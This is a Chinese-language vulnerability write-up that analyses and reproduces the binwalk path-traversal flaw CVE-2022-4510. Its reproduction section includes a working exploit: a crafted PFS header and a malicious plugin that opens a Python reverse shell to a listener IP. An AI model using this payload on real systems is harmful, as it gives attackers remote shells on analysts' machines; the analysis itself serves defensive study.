一、CVE-2022-4510介绍
1.1、漏洞介绍
binwalk是一款常用的二进制文件提取工具,在固件分析和CTF Misc中使用广泛。在ReFirm Labs binwalk(包括版本2.1.2b至2.3.3),存在一个路径穿越漏洞,允许攻击者构造恶意文件,当使用binwalk的-e选项对该恶意文件进行自动提取时,将触发漏洞,将攻击者构造的恶意文件中内嵌的文件写入提取目录之外的路径。这还可能导致远程代码执行。
-
kali linux自带binwalk工具
-
CVE 编号:CVE-2022-4510
-
影响范围:版本2.1.2b至2.3.3
-
漏洞分类:RCE
-
CVSS评分:7.8 HIGH
1.2、漏洞描述
在从2.1.2b版到2.3.3版的ReFirm Labs binwalk中发现了一个路径遍历漏洞。
通过手工创建一个恶意的PFS文件系统文件,当binwalk在提取模式(-e选项)下运行时,攻击者可以让binwalk的PFS提取程序在任意位置提取文件。远程代码执行可以通过构建PFS文件系统来实现,该文件系统在解压缩时会将恶意的binwalk模块提取到文件夹 $HOME/.config/binwalk/plugins 中。此漏洞与程序文件src/binwalk/plugins/unpfs.py相关。此问题影响从2.1.2b到2.3.3的binwalk。
影响版本:Binwalk v2.1.2b-2.3.3
已修复:2.3.4版本
![](https://i-blog.csdnimg.cn/blog_migrate/5a9cd739926afcbfd970ef6fbb18d9f5.png)
1.3、漏洞分析
这个漏洞
源于binwalk解析PFS文件时的防路径穿越代码存在问题。它使用类似下面的代码来检测是否存在路径穿越:
kali机器:
/usr/lib/python3/dist-packages/binwalk/plugins/unpfs.py
![](https://i-blog.csdnimg.cn/blog_migrate/c0c5d63feb589e9a052d214eaaf6de8c.png)
问题出现在os.path.join函数上,因为代码“outfile_path = os.path.join(out_dir, entry.fname)”没有完全进行路径解析,所以下行的代码“if not outfile_path.startswith(out_dir):”的条件就永远不会为真。
![](https://i-blog.csdnimg.cn/blog_migrate/152e36860ed2558e74842d2cd855db8f.png)
假如攻击者把PFS文件内嵌的某个文件的名字设置成"../test.txt",那么outfile_path为"提取路径/../test.txt",第2行的if语句永远成立,故这个检测是无效的。
![](https://i-blog.csdnimg.cn/blog_migrate/0a35a939a82b286308443504c8f432fa.png)
此外,binwalk的插件存放路径下的python文件将被当成binwalk的插件,在binwalk每次执行的时候自动调用。所以,假如利用路径穿越漏洞将一个特制python脚本写入binwalk的插件存放路径下,即可实现RCE。
二、漏洞复现
环境:推荐kali(自带binwalk)
![](https://i-blog.csdnimg.cn/blog_migrate/d683c99c2b82560b008de3de30c7032a.png)
2.1、默认POC
可以看到是pfs文件:
![](https://i-blog.csdnimg.cn/blog_migrate/600f50054c7587746bbc14d8795392c3.png)
借助
Hxd工具使用二进制方式打开:
![](https://i-blog.csdnimg.cn/blog_migrate/d759c6417360e432f84ff2f6e85dc5d4.png)
2.1.1、poc文件放在$HOME目录下执行
将poc.zip放到$HOME目录下,再执行binwalk
![](https://i-blog.csdnimg.cn/blog_migrate/d1a25e0ecd395cafffd38bd0530052e7.png)
恶意插件很简单:
![](https://i-blog.csdnimg.cn/blog_migrate/a415192075163c0305562c1e5dafce4b.png)
import binwalk.core.plugin
class MaliciousExtractor(binwalk.core.plugin.Plugin):
"""
Malicious binwalk plugin
"""
def init(self):
print("hello from malicious plugin")
2.1.2、poc文件放在/root/桌面/目录下执行
当将poc.zip放在/root/桌面/上再执行binwalk没有导致远程代码执行:
先对
/usr/lib/python3/dist-packages/binwalk/plugins/unpfs.py
增加几行日志以便于分析
![](https://i-blog.csdnimg.cn/blog_migrate/c3226cd5c28e5f77d7b84f01685408cc.png)
binwalk执行:
![](https://i-blog.csdnimg.cn/blog_migrate/add3e3b21c116a1f0c44575e60c61852.png)
分析原因是未在$HOME/.config/binwalk/plugin/下生成
malwalk.py文件,而是在
/root/桌面/目录下生成了.config/文件夹
![](https://i-blog.csdnimg.cn/blog_migrate/039c82837b20d7ea216e34c910da18cf.png)
为何会在
/root/桌面/目录下生成了.config/文件夹???
看输出的outfile_Path,它实际指向的就是/root/桌面/.config/binwalk/plugins/malwalk.py
![](https://i-blog.csdnimg.cn/blog_migrate/c781c7bd11f5667bb449fceed5bc9a5d.png)
增加一个../,就可以让在/root/桌面/poc.zip解包时产生/root/.config/binwalk/plugins/malwalk.py,如下:
![](https://i-blog.csdnimg.cn/blog_migrate/df3ea44a292da6c181e7af980c6477ee.png)
此时在binwalk解包:
报错:E
rror loading plugin 'malwalk.py': source code string cannot contain null bytes
![](https://i-blog.csdnimg.cn/blog_migrate/9e0779cd19b32f7c0c10773570ec0020.png)
的确在/root/.config/binwalk/plugins/下生成了malwalk.py:
![](https://i-blog.csdnimg.cn/blog_migrate/0e7f0ff21f7bbd7e407ebbea343946ae.png)
![](https://i-blog.csdnimg.cn/blog_migrate/15e87e131f63a744b219f647d9bb8d7a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/5c1b36746066a4f33978eb9a06f5b7a1.png)
猜想:是不是因为我前面添加了../导致的,那就在malicious.pfs文件中删除三个空字符,如下:
![](https://i-blog.csdnimg.cn/blog_migrate/e4ec5186b1f8dbe2a85d02582f89e5b2.png)
再执行binwalk
:成功了
![](https://i-blog.csdnimg.cn/blog_migrate/07ad8906f89861d41f06bc5893a0c6b5.png)
2.1.3、poc文件放在/root/桌面/目录下,binwalk解包使用-C指令解包到指定位置
当用-C指定解压存储路径时,要对malicious.pfs文件进行修改(是否增加或删减../,同时要增加删减NUL)
-C root/桌面/tt/,若要在/root目录下生成.config/,得左移两次,即添加两个../、删除对应个数的NUL
![](https://i-blog.csdnimg.cn/blog_migrate/48b9e95ae0594fa8ea3304d09c63abcc.png)
2.2、自定义POC
用户可以使用binwalk的 API 定义自己的插件,只需要把插件放在
$HOME/
.config/binwalk/plugins/
目录下,之后运行binwalk时就会调用插件。
构造RCE的POC,在解压后的文件中保持文件头和路径,后面加上下面的脚本代码,并且把长度改一下,然后保存成一个压缩包malicious.zip
1、exp.py: 提示:在 s
.connect中写入要连接的ip地址和监听端口
import binwalk.core.plugin
import socket,subprocess,os,pty
class MaliciousExtractor(binwalk.core.plugin.Plugin):
def init(self):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.132.131", 9999))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("sh")
2、用HXD工具将exp.py文件打开,粘贴以下十六进制数据到头部
5046 532f 302e 3900 0000 0000 0000 0100
2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967
2f62 696e 7761 6c6b 2f70 6c75 6769 6e73
2f6d 616c 7761 6c6b 2e70 7900 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
3412 0000 a000 0000 c100 0000
![](https://i-blog.csdnimg.cn/blog_migrate/29a6581d31ec78a096b832c3787ce386.png)
3、然后另存为malicious.pfs文件:
![](https://i-blog.csdnimg.cn/blog_migrate/5af5f8d3d3734f645474f68bce639975.png)
4、将malicious.pfs打包成malicious.zip文件。
5、当
从用户的主目录中(
cd $HOME
)用binwalk提取文件时,会在.config/binwalk/plugins加入一个插件,这个恶意插件随后会被 binwalk 加载和执行,从而导致 RCE
binwalk -Me malicious.zip 然后就可以 RCE:
![](https://i-blog.csdnimg.cn/blog_migrate/dfdceacdd62c0bbd28f98d21e43f196a.png)
2.3、项目中的应用
构造一个poc测试产品项目:
查看136环境日志:发现爆出漏洞
![](https://i-blog.csdnimg.cn/blog_migrate/4ea7ae3de3b796d594283faed6e50aa4.png)
构造234环境上的poc:
![](https://i-blog.csdnimg.cn/blog_migrate/8d5a3455dfbde931833bfca3d6d6e283.png)
![](https://i-blog.csdnimg.cn/blog_migrate/41eb8e19ad737f530d96eb4141255d2c.png)
三、参考
![](https://i-blog.csdnimg.cn/blog_migrate/15cfdb855c763477593670515b0bd693.png)